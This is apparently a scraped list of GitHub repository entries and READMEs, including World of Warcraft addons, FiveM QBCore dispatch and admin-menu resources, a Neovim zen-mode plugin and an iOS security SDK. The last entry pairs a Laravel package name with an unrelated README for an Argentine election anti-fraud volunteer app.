Done!

Bagnon is a group of addons that improve the way the player manages his or her inventory.

Addons:
Bagnon - Displays your inventory in a single frame.
Banknon - Displays your bank in a single frame.
Bagnon_Core - Required for Bagnon and Banknon, the core files for the frames.
Bagnon_Options - A load on demand options menu for Bagnon.
Bagnon_Forever - Optional, Lets you view your bank from anywhere or the inventory/bank of your other characters.

Features:
A single, customizable display for your inventory and one for your bank
Colorcoded item slots and borders:
Ammo and Soul Bag item slots are colored yellow
Profession bag slots are colored green
Keyring slots are colored orange
The borders for items are color coded based by their quality
View bank from anywhere (requires Bagnon_Forever)
View other characters' inventory/bank (requires Bagnon_Forever)
Dynamically Loaded - Bagnon and Banknon only load when needed.
Modular Design - Can pick and choose which functionality is wanted.

Usage

Slash Commands:
Commands can start with either /bagnon or /bgn.
/bgn - Shows the options menu, if available.
/bgn bags - Toggle the display of Bagnon.
/bgn bank - Toggle the display of Banknon.
/bgn delete - Removes inventory data about the given player from Bagnon_Forever. Not specifying a realm will revert to the current realm.

Showing Bagnon/Banknon:
When enabled, Bagnon and Banknon should be fully intergrated into the UI. It is also possible to view the frames via the keybindings that can be set or the slash commands.

Moving Frames Around:
When unlocked, simply click and drag on the title portion of the frame (<Player's> Bank|Inventory).

Hiding Specific Bags:
Shift-Click a bag within the frame to toggle the visibility of the items contained within that bag.

Customizing:
Right click on the title portion of Bagnon or Banknon. A menu will pop up with a bunch of ptions for modifying the appearance of the frame.

Viewing other character's data (requires Bagnon_Forever):
Click on the arrow button by Bagnon/Banknon's title. A menu will pop up giving a list of characters Bagnon knows about. Click on one and Bagnon will display the contents of that character's inventory/bank.

Searching:
Double click on the title of Bagnon/Banknon. A search dialog will pop up.

Bagnon was created by Tuller

CosminPOP/TWThreat

2023-10-29T01:36:11Z

Turtle WOW's own Threat Meter !

TWThreat v1.2.3

Threat Meter for Turtle WoW
Requirements: in party or raid, attacking elite creatures or bosses.

Changes

v1.2.3

Fixes for TW patch 16.0

v1.2.2

Bar animation fixes.
TankName bug fix.
Configurable aggro warning threshold.

v1.2.1

Scale TankMode window with main window.

v1.2.0

Threat api v4, older versions don't work anymore.
pfUI integration for target frame glow and threat percentage.
tankMode is back !
New threat warning sound.
New icons for settings/lock/close buttons.

v1.1.0

Threat api v3, older versions don't work anymore.
Summoned creatures show the right threat values.
Settings for in and out of combat frame opacity.

v1.0.2

Revamped settings window with tabs.
New setting: frame scale.
Enabled bar animation.
Disabled Tankmode (still buggy).

v1.0.1

Faster way to get guid
Tankmode window is now movable and stickable to top/bottom/left/right of main window.
Tankmode window has test data in config mode.
Better colors for Tankmode targets and current target is highlighted.
Window title is more stable for healers.
Removed bar animation (maybe only temporary).
Clear bars if creature dies, for healers.
Fix potential bug where Pull Agro At bar was not shown.
Fix tankthreat bug when tank is not top in threat list.

Features

Threat, threat to pull aggro, TPS, % Max, % to pull
Target glow based on threat for default game target frame
Target threat percent indicator for default game target frame
Various options including bar height and font style
Full Screen Glow on high threat percentage
Aggro Warning Sound on high threat percentage
Customizable labels for TPS, Threat, Percent Max
Tankmode !

Slashcommands

/twtshow
/twt show
/twt tankmode

Settings

Glow

Shows a colored aura ranging from Green/Yellow/Red on the Default UI's unit frame.
The color of the aura is based on your current threat threshold:

green - yellow for 0% - 49%
yellow - red for 50% - 100%

Full Screen Glow

Red glowing screen edges when your threat is above 80%.
This feature is disabled in Tank Mode.

Aggro Warning Sound

Plays a warning sound when you reach 99% threat.
This feature is disabled in Tank Mode.

Percentages

Shows threat percentages on the default target frame.

Combat Show

Automatically shows the window when combat begins.

Combat Hide

Automatically hides the window when combat begins.

Tank Mode

Shows an additional window with targets that you are currently tanking and the name and threat percent of the next player in threat list for quick target swap (this mode disables Full Screen Glow and Aggro Warning Sound).

Show Name/TPS/Threat/% Max Label Row

Shows or hides the row above the threat bars.

Show TPS Column

Shows or hides the TPS column.

Show Threat Column

Shows or hides the Threat column.

Show Percent Column

Shows or hides the Percent Max column.

Contributors and testers

Henry, Laughadin, Faralynn, Draxer

Support

If you like my work consider buying me a coffee !
https://ko-fi.com/xerron

Project-Sloth/ps-dispatch

2023-10-29T01:56:31Z

QBCore Dispatch

PS Dispatch

Integrated with ps-mdt

For all support questions, ask in our Discord support chat. Do not create issues on GitHub if you need help. Issues are for bug reporting and new features only.

Depedency

qb-core
ox_lib
ps-mdt - Optional but highly recommended.

Installation

Download ZIP
Make sure your [qb-core}(https://github.com/qbcore-framework/qb-core) is fully updated to the latest version.
Drag and drop resource into your server files
Start resource through server.cfg
Drag and drop sounds folder into interact-sound\client\html\sounds
Configure your language
Restart your server.

Preview

Change Language.

Place this setr ox:locale en inside your server.cfg
Change the en to your desired language!

Supported Languages:

Alias	Language Names
en	English
de	German
nl	Dutch
cs	Czech
pt-br	Brazilian Portuguese
es	Spanish

Preset Alert Exports.

- exports['ps-dispatch']:VehicleShooting(vehicle)

- exports['ps-dispatch']:Shooting()

- exports['ps-dispatch']:OfficerDown()

- exports['ps-dispatch']:SpeedingVehicle(vehicle)

- exports['ps-dispatch']:Fight()

- exports['ps-dispatch']:InjuriedPerson()

- exports['ps-dispatch']:DeceasedPerson()

- exports['ps-dispatch']:StoreRobbery(camId)

- exports['ps-dispatch']:FleecaBankRobbery(camId)

- exports['ps-dispatch']:PaletoBankRobbery(camId)

- exports['ps-dispatch']:PacificBankRobbery(camId)

- exports['ps-dispatch']:PrisonBreak()

- exports['ps-dispatch']:VangelicoRobbery(camId)

- exports['ps-dispatch']:HouseRobbery()

- exports['ps-dispatch']:DrugSale()

- exports['ps-dispatch']:ArtGalleryRobbery()

- exports['ps-dispatch']:HumaneRobery()

- exports['ps-dispatch']:TrainRobbery()

- exports['ps-dispatch']:VanRobbery()

- exports['ps-dispatch']:UndergroundRobbery()

- exports['ps-dispatch']:DrugBoatRobbery()

- exports['ps-dispatch']:UnionRobbery()

- exports['ps-dispatch']:YachtHeist()

- exports['ps-dispatch']:CarBoosting(vehicle)

- exports['ps-dispatch']:CarJacking(vehicle)

- exports['ps-dispatch']:VehicleTheft(vehicle)

- exports['ps-dispatch']:SuspiciousActivity()

- exports['ps-dispatch']:SignRobbery()

FAQ

There are no calls showing on dispatch or mdt list.
- Make sure you have a job type specified in your qbcore/shared/jobs.lua like:
- Make sure that you're using the correct job type as leo and make sure your qb-core is fully updated to the latest version.
- On shared/config.lua make set Config.Debug = true to test calls as police officer.(ONLY to be used as testing, make sure to disable on live production)

Credits

OK1ez
Candrex
Lenzh
LeSiiN
Project Sloth Team

folke/zen-mode.nvim

2023-10-29T01:56:31Z

🧘 Distraction-free coding for Neovim

🧘 Zen Mode

Distraction-free coding for Neovim >= 0.5

✨ Features

opens the current buffer in a new full-screen floating window
doesn't mess with existing window layouts / splits
works correctly with other floating windows, like LSP hover, WhichKey, ...
you can dynamically change the window size
realigns when the editor or Zen window is resized
optionally shade the backdrop of the Zen window
always hides the status line
optionally hide the number column, sign column, fold column, ...
highly customizable with lua callbacks on_open, on_close
plugins:
- disable gitsigns
- hide tmux status line
- increase Kitty font-size
- increase Alacritty font-size
- increase wezterm font-size
Zen Mode is automatically closed when a new non-floating window is opened
works well with plugins like Telescope to open a new buffer inside the Zen window
close the Zen window with :ZenMode, :close or :quit

⚡️ Requirements

Neovim >= 0.5.0
- ❗ Zen Mode uses the new z-index option for floating windows
- ❗ only builds newer than May 15, 2021 are supported
Twilight is optional to dim inactive portions of your code

📦 Installation

Install the plugin with your preferred package manager:

lazy.nvim

-- Lua
{
  "folke/zen-mode.nvim",
  opts = {
    -- your configuration comes here
    -- or leave it empty to use the default settings
    -- refer to the configuration section below
  }
}

⚙️ Configuration

Zen Mode comes with the following defaults:

{
  window = {
    backdrop = 0.95, -- shade the backdrop of the Zen window. Set to 1 to keep the same as Normal
    -- height and width can be:
    -- * an absolute number of cells when > 1
    -- * a percentage of the width / height of the editor when <= 1
    -- * a function that returns the width or the height
    width = 120, -- width of the Zen window
    height = 1, -- height of the Zen window
    -- by default, no options are changed for the Zen window
    -- uncomment any of the options below, or add other vim.wo options you want to apply
    options = {
      -- signcolumn = "no", -- disable signcolumn
      -- number = false, -- disable number column
      -- relativenumber = false, -- disable relative numbers
      -- cursorline = false, -- disable cursorline
      -- cursorcolumn = false, -- disable cursor column
      -- foldcolumn = "0", -- disable fold column
      -- list = false, -- disable whitespace characters
    },
  },
  plugins = {
    -- disable some global vim options (vim.o...)
    -- comment the lines to not apply the options
    options = {
      enabled = true,
      ruler = false, -- disables the ruler text in the cmd line area
      showcmd = false, -- disables the command in the last line of the screen
      -- you may turn on/off statusline in zen mode by setting 'laststatus' 
      -- statusline will be shown only if 'laststatus' == 3
      laststatus = 0, -- turn off the statusline in zen mode
    },
    twilight = { enabled = true }, -- enable to start Twilight when zen mode opens
    gitsigns = { enabled = false }, -- disables git signs
    tmux = { enabled = false }, -- disables the tmux statusline
    -- this will change the font size on kitty when in zen mode
    -- to make this work, you need to set the following kitty options:
    -- - allow_remote_control socket-only
    -- - listen_on unix:/tmp/kitty
    kitty = {
      enabled = false,
      font = "+4", -- font size increment
    },
    -- this will change the font size on alacritty when in zen mode
    -- requires  Alacritty Version 0.10.0 or higher
    -- uses `alacritty msg` subcommand to change font size
    alacritty = {
      enabled = false,
      font = "14", -- font size
    },
    -- this will change the font size on wezterm when in zen mode
    -- See alse also the Plugins/Wezterm section in this projects README
    wezterm = {
      enabled = false,
      -- can be either an absolute font size or the number of incremental steps
      font = "+4", -- (10% increase per step)
    },
  },
  -- callback where you can add custom code when the Zen window opens
  on_open = function(win)
  end,
  -- callback where you can add custom code when the Zen window closes
  on_close = function()
  end,
}

🚀 Usage

Toggle Zen Mode with :ZenMode.

Alternatively you can start Zen Mode with the Lua API and pass any additional options:

require("zen-mode").toggle({
  window = {
    width = .85 -- width will be 85% of the editor width
  }
})

🧩 Plugins

Wezterm

In order to make the integration with wezterm work as intended, you need to add the following function to your wezterm config:

wezterm.on('user-var-changed', function(window, pane, name, value)
    local overrides = window:get_config_overrides() or {}
    if name == "ZEN_MODE" then
        local incremental = value:find("+")
        local number_value = tonumber(value)
        if incremental ~= nil then
            while (number_value > 0) do
                window:perform_action(wezterm.action.IncreaseFontSize, pane)
                number_value = number_value - 1
            end
            overrides.enable_tab_bar = false
        elseif number_value < 0 then
            window:perform_action(wezterm.action.ResetFontSize, pane)
            overrides.font_size = nil
            overrides.enable_tab_bar = true
        else
            overrides.font_size = number_value
            overrides.enable_tab_bar = false
        end
    end
    window:set_config_overrides(overrides)
end)

If you need this functionality within tmux, you need to add the following option to your tmux config:

set-option -g allow-passthrough on

Inspiration

Visual Studio Code Zen Mode
Emacs writeroom-mode

Project-Sloth/ps-adminmenu

2023-10-29T01:56:31Z

An admin menu for QBCore.

ps-adminmenu

The Admin Menu crafted by OK1ez and our dedicated team is user-friendly and intuitive. We invite you to contribute by submitting new features through PRs. We're always eager to review and consider new features. Make sure you use our template when opening Issues or they will be auto closed.

Unofficial ESX Version

Made by Avilchiis for the community, you can download it here. WE DO NOT PROVIDE SUPPORT FOR ESX VERSION, DO NOT ASK YOU'LL BE IGNORED.

Preview

Change Language.

Place this setr ox:locale en inside your server.cfg
Change the en to your desired language!

Supported Languages:

Alias	Language Names
en	English
fr	French
id	Indonesia
pt-br	Brazilian Portuguese
tr	Turkish
es	Spanish
nl	Dutch

Features

Admin Car
Ban Player
Bring Player
Change Plate
Checking number plates before Change Plate
Change Time
Change Weather
Check Permissions
Clear Inventory
Clear Inventory Offline
Clothing Menu
Copy Coordinates
Delete Vehicle
Delete Laser
Explode Player
Fix Vehicle
Freeze Player
Give Clothing Menu
Give Item
Give Item to All
Give Money
Give Money to All
Give Vehicle to Player
Give NUI Focus
God Mode
Invisible
Infinite Ammo
Kick Player
Kill Player
Make Player Drunk
Message Player
Mute Player
Max Vehicle Mods
No Clip
Open Inventory
Open Stash
Open Trunk
Play Sound
Refuel Vehicle
Remove Money
Remove Stress
Revive All
Revive Player
Revive Radius
Set Bucket
Server Announcement
Set Ammo
Set Vehicle State in Garage (In & Out)
Set Gang
Set Job
Set on Fire
Set Permissions
Set Player Ped
Sit in Vehicle
Spawn Vehicle
Spectate Player
Teleport Back
Teleport to Coordinates
Teleport to Marker
Teleport to player
Toggle Blackout
Toggle Blips
Toggle Coords
Toggle Cuffs
Toggle Delete Laser
Toggle Duty
Toggle Names
Vehicle Dev Menu
Warn player

Depedency

Installation

Download the latest release.
Add the files to your server resources.
Ensure ps-adminmenu in your server cfg. Make sure ox_lib starts before ps-adminmenu.
Set the config in shared/config.lua to your needs.

A community video has been made for setup instructions and showcase, you can find it here

Permissions

Make sure you've correctly configured player permissions in your server.cfg by using ACE permissions with the appropriate identifier. Otherwise, you'll be unable to access or launch the admin menu. Here's a sample configuration where the player, MonkeyWhisper, is assigned god, admin, and mod roles, you should not have all 3 permissions for a single person. For a deeper understanding of how QBCore manages permissions, refer to this documentation.

Player Permission

add_principal identifier.fivem:565139 qbcore.god # MonkeyWhisper
add_principal identifier.fivem:565139 qbcore.admin # MonkeyWhisper
add_principal identifier.fivem:565139 qbcore.mod # MonkeyWhisper

Setting Up Logs

Set up a Discord Webhook for the channel you want the logs to be.
Add this to qb-smallresource/server/logs.lua - ['ps-adminmenu'] = 'discord webhook'
Replace the place holder with your webhook link.

To Do

Rework the blips/names

Credits

OK1ez
Lenzh
LeSiiN
Project Sloth Team

giellalt/dict-sma-swe

2023-10-29T01:56:53Z

upbound/configuration-caas-ml

2023-10-29T01:56:53Z

upbound/configuration-aws-database

2023-10-29T01:56:53Z

AWS Database Configuration

amgordon/OldNewContinuousConf

2023-10-30T01:31:42Z

A continuous confidence old new experiment

brainstorm-tools/brainstorm3

2023-10-29T01:56:58Z

Brainstorm software: MEG, EEG, fNIRS, ECoG, sEEG and electrophysiology

amgordon/OldNewResponseModality

2023-10-29T01:56:58Z

Present a recognition memory task with saccadic and manual responses via Matlab Psychtoolbox

vonsylvia/MATLAB_Algorithm_with_cases

2023-10-29T01:56:58Z

遗传算法、免疫算法、退火算法、粒子群算法、鱼群算法、蚁群算法和神经网络算法等常用智能算法的MATLAB实现

Ferddi/pbnet-monkey

2023-10-29T01:57:21Z

PushButton Networking for Monkey

rflynn/elements

2023-10-29T01:57:43Z

periodic table tiles crafted from the elements themselves

phac-nml/mikrokondo

2023-10-29T01:57:50Z

A simple pipeline for bacterial assembly and quality control

scilus/nf-scil

2023-10-29T01:57:50Z

SCIL Nextflow Toolbox

opensource-force/ircd

2023-10-30T01:32:27Z

A minimal IRC server written in Nim

ably/delta-codec-cocoa

2023-10-29T01:37:55Z

Cocoa VCDiff decoder

perlmunger/FilmCountdown

2023-10-29T01:37:58Z

A Core Animation layer made to display a film countdown

Film Countdown Core Animation Layer

I wanted some sort of countdown mechanism for a project I was working on, so I created this Core Animation layer. It is implemented entirely in layers. There is no imagery used at all. Here is a screenshot of what it produces:

Here is how you use the code. To add it to a view controller,

- (void)viewDidLoad
{
  [super viewDidLoad];

  _filmCountdownLayer = [MLFilmCountdownLayer layer];
  [_filmCountdownLayer setPosition:[[self view] center]];
  
  [[[self view] layer] addSublayer:_filmCountdownLayer];

}

Then, create some action and trigger the animation and provide it a completion block.

- (IBAction)didTapRunAnimationButton:(id)sender
{
  [_filmCountdownLayer setOpacity:1.0f];
  [_filmCountdownLayer setCount:5];
  [_filmCountdownLayer startCountdownWithCompletionBlock:^{
    [CATransaction begin];
    [CATransaction setAnimationDuration:2.0f];
    [_filmCountdownLayer setOpacity:0.0f];
    [CATransaction commit];
  }];
}

This code fades the whole countdown layer to a zero opacity when the animation has completed.

Known Issues

I haven't had time to work out scaling the text size based on the frame size much yet, so feel free to let me now if you play with that and get it sorted. I'll merge your changes. Otherwise, you'll just have to tweak that in the internals until I get a chance to fix it.

License

The code is MIT licensed. Have fun with it. Submit pull requests if you add some cool or interesting additions. Keep in mind, though, that I might ignore you.

Thanks and have fun.

hungjk07/shopkeeping

2023-10-30T01:32:48Z

kbessiere/AnalyticsConnector.xcframework

2023-10-29T01:58:13Z

muxinc/stats-sdk-objc

2023-10-29T01:58:13Z

Mux Stats SDK for iOS and tvOS

stats-sdk-objc

Hosts the core library for Mux for objective-c based integrations as of v2.x. The integration with AVPlayer/AVPlayerItem has been moved to a new repository.

Previous Versions

Versions 0.x of this library included the full AVPlayer integration, see our docs for integration instructions. If you currently use the cocoapod for this library as your integration, do not upgrade above 0.x of this library.

Release

To support the Carthage packaging, run the carthage-archive.sh when making a new release. Then attach the output to the release.

Upgrading

See this repository for the updated AVPlayer integration.

castle/castle-ios

2023-10-29T01:58:13Z

iOS library for Castle

iOS SDK for Castle

Castle adds real-time monitoring of your authentication stack, instantly notifying you and your users on potential account hijacks.

Requirements

iOS 9.0+
Xcode 9.0+

Installation

Castle is available through CocoaPods, Carthage and Switft Package Manager.

CocoaPods

Add Castle as a dependency by including it in your Podfile.

pod "Castle", "3.0.7"

Carthage

We have started to include internal dependencies (as xcframeworks) that Carthage currently doesn't support. Therefore we are (temporarily) not supporting Carthage until they add support for adding xcframework dependencies. For now we recommend that you use one of the other installation options.

Swift Package Manager

Add Castle as a dependency by adding it to the dependencies value of your Package.swift.

dependencies: [
    .package(url: "https://github.com/castle/castle-ios.git", .upToNextMajor(from: "3.0.7"))
]

Manually

Download the zip file from the github release, unzip and drag GeoZip.xcframework, Highwind.xcframework and Castle.xcframework to the Frameworks, Libraries and Embedded Content section of the target. They should all be set to Embed & Sign

Usage

Please see the Mobile Integration Guide.

Library size

Library size is approximately 74kb and was calculated using the cocoapods-size tool from Google.

c-cube/thread-local-storage

2023-10-30T01:32:56Z

thread-local storage for OCaml

ocaml-flambda/flambda-backend

2023-10-29T01:58:27Z

The Flambda backend project for OCaml

HumMan/ContextFreeGrammTree

2023-10-29T01:38:40Z

Context free grammar editor with hightlight and execution

HumMan/ContextFreeGrammTree

2023-10-29T01:58:54Z

Context free grammar editor with hightlight and execution

Logitech/slimserver-tools

2023-10-29T01:38:49Z

Tools for Slimserver

Squeezebox Server Tools

This directory contains several scripts to work along with the slimserver software.

-skinjob.pl Use this tool to convert skins made for SLIMP3 Server (versions before 5.0). The syntax is as follows: skinjob.pl where skinname is an optional argument for the skin you wish to change.
If no argument, it will start with the current directory. If you run this from the root directory of the skin, it will convert that skin without any arguments needed. This script replaces slimp3.css with slimserver.css, all references within the html file to slimserver.css, and converts any perl module calls to the new SlimServer modules.
Old html files are copied and saved to a directory named "old".

-slimp3.pl Command line interface access to the SlimServer. Usage: slimp3.pl --httpaddr <host|ip> --httpport --command [--p1 ] [--p2 ] [--p3 ] [--p4 ] [--player ]

--httpaddr  => The hostname or ip address of the SLIMP3 web server
--httpport  => The port on which the SLIMP3 web server is listening
--command   => Pick from the 1st column of the list below
--p1        => Pick from the 2st column of the list below
--p2        => Pick from the 3rd column of the list below
--p3        => Pick from the 4th column of the list below
--p4        => Pick from the 5th column of the list below
--player    => Currently the "ip:port" of your player

COMMAND		P1	P2		P3	P4
 play
 pause		(0|1|)
 stop
 sleep		(0..n)
 playlist	play    <song>
 playlist	load    <playlist>
 playlist	append  <playlist>
 playlist	clear
 playlist	move    <fromoffset>	<tooffset>
 playlist	delete  <songoffset>
 playlist	jump    <index>
 mixer		volume  (0 .. 100)|(-100 .. +100)
 mixer		balance (-100 .. 100)|(-200 .. +200)
 mixer		base    (0 .. 100)|(-100 .. +100)
 mixer		treble  (0 .. 100)|(-100 .. +100)
 status
 display	<line1> <line2>		(duration)

-update_strings.pl Reads the strings.txt file and checks all items for the presence of an entry defined in $language. If such an entry is not present, it displays entries that are defined in @display and asks the input for $language. An additional sort is done on all translation strings (e.g. DE, FR, EN --> DE, EN, FR) Result is stored in out.txt

-whack.pl Use this tool to convert old plugins (made for SLIMP3 Server versions below 5.0) to SlimServer plugins. The syntax for the command is as follows: whack.pl myplugin.pm... This will rewrite myplugin.pm (and any other specified files), leaving a copy of the script in myplugin.pm.old, to use the new module layout.

-strings a few tools to extract/merge strings for localization by SLT

PerlDancer/dancer-plugin-deferred

2023-10-29T01:38:49Z

Deferred messages for Dancer

=pod

=head1 NAME

Dancer::Plugin::Deferred - Defer messages or data across redirections

=head1 VERSION

version 0.003

=head1 SYNOPSIS

use Dancer::Plugin::Deferred;

get '/defer' => sub { deferred error => "Klaatu barada nikto"; redirect '/later'; }

get '/later' => sub { template 'later'; }

in template 'later.tt'

<% IF deferred.error %>

<% deferred.error %>

<% END %>

=head1 DESCRIPTION

This L plugin provides a method for deferring a one-time message across a redirect. It is similar to "flash" messages, but without the race conditions that can result from multiple tabs in a browser or from AJAX requests. It is similar in design to L Catalyst::Plugin::StatusMessage, but adapted for Dancer.

It works by creating a unique message ID within the session that holds deferred data. The message ID is automatically added as a query parameter to redirection requests. It's sort of like a session within a session, but tied to a request rather than global to the browser. (It will even chain across multiple redirects.)

When a template is rendered, a pre-template hook retrieves the data and deletes it from the session. Alternatively, the data can be retrieved manually (which will also automatically delete the data.)

Alternatively, the message ID parameters can be retrieved and used to construct a hyperlink for a message to be retrieved later. In this case, the message is preserved past the template hook. (The template should be sure not to render the message if not desired.)

=for Pod::Coverage method_names_here

=head1 USAGE

=head2 deferred

deferred $key => $value; $value = deferred $key; # also deletes $key

This function works just like Cor C , except that it lasts only for the current request and across any redirects. Data is deleted if accessed. If a key is set to an undefined value, the key is deleted from the deferred data hash.

=head2 all_deferred

template 'index', { deferred => all_deferred };

This function returns all the deferred data as a hash reference and deletes the stored data. This is called automatically in the C<before_template_render> hook, but is available if someone wants to have manual control.

=head2 deferred_param

template 'index' => { link => uri_for( '/other', { deferred_param } ) };

This function returns the parameter key and value used to propagate the message to another request. Using this function toggles the C<var_keep_key> variable to true to ensure the message remains to be retrieved by the link.

=head1 CONFIGURATION

=over 4

=item *

C<var_key: dpdid> -- this is the key in the C hash containing the message ID

=item *

C<var_keep_key: dpd_keep> -- if this key in C is true, retrieving values will not be destructive

=item *

C<params_key: dpdid> -- this is the key in the C hash containing the message ID

=item *

C<session_key_prefix>: dpd_> -- the message ID is appended to this prefix and used to store deferred data in the session

=item *

C<template_key: deferred> -- this is the key to deferred data passed to the template

=back

=head1 SEE ALSO

=over 4

=item *

LDancer::Plugin::FlashMessage

=item *

LDancer::Plugin::FlashNote

=item *

LCatalyst::Plugin::StatusMessage

=back

=head1 ACKNOWLEDGMENTS

Thank you to mst for explaining why LCatalyst::Plugin::StatusMessages does what it does and putting up with my dumb ideas along the way.

=for :stopwords cpan testmatrix url annocpan anno bugtracker rt cpants kwalitee diff irc mailto metadata placeholders metacpan

=head1 SUPPORT

=head2 Bugs / Feature Requests

Please report any bugs or feature requests through the issue tracker at Lhttps://github.com/dagolden/dancer-plugin-deferred/issues. You will be notified automatically of any progress on your issue.

=head2 Source Code

This is open source software. The code repository is available for public review and contribution under the terms of the license.

Lhttps://github.com/dagolden/dancer-plugin-deferred

git clone git://github.com/dagolden/dancer-plugin-deferred.git

=head1 AUTHOR

David Golden dagolden@cpan.org

=head1 COPYRIGHT AND LICENSE

This is free software, licensed under:

The Apache License, Version 2.0, January 2004

seveas/Term-Multiplexed

2023-10-29T01:38:49Z

Term::Multiplexed - Detect terminal multiplexers (screen, tmux)

SYNOPSIS

use Term::Multiplexed qw(multiplexed attached multiplexer); if(multiplexed) { say "Using " . multiplexer . " as terminal multiplexer"; say "Currently " . (attached ? : "not ") . "attached."; }

DESCRIPTION

When running scripts inside screen/tmux, it's often useful to detect this and to detect whether the multiplexer of choice is currently attached or not. This module does exactly that and nothing more.

EXPORTS

multiplexed

Returns whether we are running inside a terminal multiplexer or not. Currently only screen and tmux are detected.

attached

Returns true when the multiplexer is attached. Returns undef when called outside a multiplexed environment.

detached

Returns false when the multiplexer is attached. Returns undef when called outside a multiplexed environment.

multiplexer

The name of the current multiplexer. Currently only "screen" and "tmux" are possible return values.

muxsocket

The full filesystem path to the socket used by the multiplexer.

giellalt/dict-nob-fkv

2023-10-29T01:59:02Z

giellalt/dict-est-nob

2023-10-29T01:59:02Z

giellalt/dict-otw-eng

2023-10-29T01:59:02Z

abbasudo/laravel-purity

2023-10-29T01:39:04Z

Sistema Open Source para Identificar potenciales fraudes electorales, minimizar su ocurrencia e impacto.

🦁 Sistema-Anti-Fraude-Electoral 🦁

Este es un proyecto Open Source (código libre) cuyo objetivo es minimizar y detectar la posibilidad de fraude electoral en las próximas elecciones presidenciales de Argentina donde se define finalmente quien será presidente.

La intención de crear este sistema es mantener y preservar la democracia y la transparencia al pueblo argentino.

Indice

Objetivos

Los objetivos de este sistema son:

Identificar potenciales fraudes electorales.
Minimizar su ocurrencia e impacto.
Acelerar su detección para evitar la falsa declaración de un ganador con altos niveles de fraude/casos sospechosos.

Componentes

Frontend fiscales (carga de datos)
Frontend público (para toda persona que quiera acceder a los datos)
Backend (API)

Repositorios y organización

Este repositorio tiene la finalidad de:

Explicar el proyecto en general
Alojar el código para el frontend para fiscales

Estos repositorios son las partes complementarias del proyecto:

Frontend público (TO DO: Incluir link cuando se lo cree)
Backend API

Tipos de Fraudes

¿Qué tipos de fraude se esperan detectar? En una elección como esta hay muchas formas de hacer fraudes si alguien controla el sistema de cómputos oficial.

Esta es la lista de Tipos de Fraudes que se quieren atacar. Esa es la columna vertebral de este proyecto, de ahí deriva toda la funcionalidad que se va a construir. Si querés podés codear algo de lo que se necesita para alguno de los tipos de fraudes identificados, y si se te ocurre algún otro tipo de fraude y cómo minimizarlo, lo podés agregar a la lista y especificar qué habría que hacer para eso. Y si tenés tiempo y energía podés arrancar programando lo que haga falta en lo que llegan otros y te ayudan.

Sumarización Fraudulenta

En este caso el Sistema Oficial de cómputos tiene cargado correctamente todos los datos pero aun así el agrupamiento por Provicia / Nación es incorrecto.

Mesas Inexistentes

En este caso, el Sistema Oficial de cómputos tiene cargados correctamente todos los datos pero adicional a las mesas reales hay mesas que solo existen en el sistema y que se usan para cambiar los resultados globales.

Datos de Mesa Correctos luego Incorrectos

El tercer tipo de fraude sería que las mesas cargadas en el Sistema Oficial tengan datos diferentes a las actas de los fiscales. Esto actualmente se puede detectar a mano si el fiscal revisa el Sistema Oficial. El problema es que el sistema oficial pudiera mostrarle los datos correctos por un tiempo y luego cambiarlos más adelante, cuando el fiscal ya los consultó y los vio correctos. Seguramente un fiscal solo verificaría una vez los datos y si están bien daría por hecho que eso luego no cambiaría más.

Fiscales Falsos

Estos serían personas que se inscribieron como fiscales solo para quedarse con una mesa o grupo de mesas y luego no ir o abandonar a último momento cuando es muy difícil conseguir reemplazo y reasignar sus mesas.

El sistema debe tener pre-cargados los datos de los Fiscales de Mesa y su trabajo en las elecciones PASO y GENERALES para que si en ellas se ausentaron sin causa, o de manera sospechosa, no se los vuelva a convocar para el BALOTAJE.

Fiscales Judas

Este tipo de fraude se basa en reclutar e inscribir Fiscales de Mesa que en vez de fiscalizar y defender los votos de LLA, en realidad hacen lo opuesto. Las mesas con Fiscales Judas pudieran permitir que se carguen en el Sistema Oficial datos falsos porque la contabilización ya fue corrupta.

El sistema debe permitir a los usuarios del tipo Auditores Externos ver los datos de los Fiscales de Mesa para poder investigarlos y así poder inferir si son del tipo Judas o no. Los Fiscales de Mesa serán invitados a proveer información de manera opcional de sus identidades en redes sociales, y a los que lo hagan, sumarán puntos en su reputación como Fiscal. Del otro lado, un ejército de auditores externos puede investigar con su DNI y esas identidades sociales cuál es el background real de esas personas y en base a los resultados de estas investigaciones, asignarle a cada fiscal un score que puede usarse en un caso extremo para descalificarlo o al menos para observarlo con precaución.

Ficales Incompetentes

El sistema debe cubrir el caso de fiscales que simplemente son incompetentes y por ignoracia cargan mal los datos en el sistema. Esto significa que deberían existir mecanismos para excluir datos de este tipo de fiscales o que algún tipo de usuario los pueda sobreescribir basándose por ejemplo en las fotografías de las actas.

Conteo de Voto Corrupto por falta del Fiscal de Mesa

El sistema debe ayudar a administrar los Fiscales de Mesa y los Fiscales Generales, para que por lo menos haya un Fiscal General en cada escuela como mínimo. Los casos donde no hay ni siquiera un Fiscal General por escuela son una pérdida gigante de votos. También debe gestionar la asignación de Fiscales de Mesa, para que ante la escasez, estos sean enviados a los lugares donde más se necesitan. Por ejemplo, a las escuelas donde haya una mayor cantidad de electores combinado con una menor cantidad de Fiscales de Mesa.

Usuarios

Esta APP tendría estos tipos de usuarios:

Fiscal de Mesa: Los principales usuarios de esta APP serían los Fiscales de Mesa de LLA. Serían quienes cargan los datos.
Fiscal General: Supervisa a los Fiscales de Mesa en una determinada escuela. El fiscal general DEBE tomar fotos de todas las actas de todas las mesas de la escuela a la cual fue asignado. En teoría siempre hay aunque sea un fiscal general, aunque pudiera no haber ningún Fiscal de Mesa. Si lo hace y las sube al sistema, podemos tener atrás un ejército de voluntarios por internet que transcriba los valores de las fotos en registros numéricos y así tener la primera versión de datos en el sistema bien temprano después del cierre de la votación. Debiera ser una responsabilidad del Fiscal General tomar las fotos de todas las mesas de una escuela, porque de esa manera pudieramos evitar el tipo de fraude Mesas Inexistentes en la que en el sistema oficial aparece luego alguna mesa que en la realidad no existió. Si cada uno de nuestros fiscales tomara fotos de TODAS las mesas físicamente presentes en cada escuela, podríamos detectar esas mesas fantasma.
Delegados del Partido: Son personas de confianza de LLA que durante la votación pueden ir de una escuela a otra para apoyar y auditar a los Fiscales Generales y a los Fiscales de Mesa.
Auditor Interno: Serían personas de LLA que analizarían los datos cargados por los Fiscales de Mesa y los compararían con los datos oficiales. La APP trataría de automatizar esa comparación con el objetivo de detectar diferencias y potenciales fraudes.
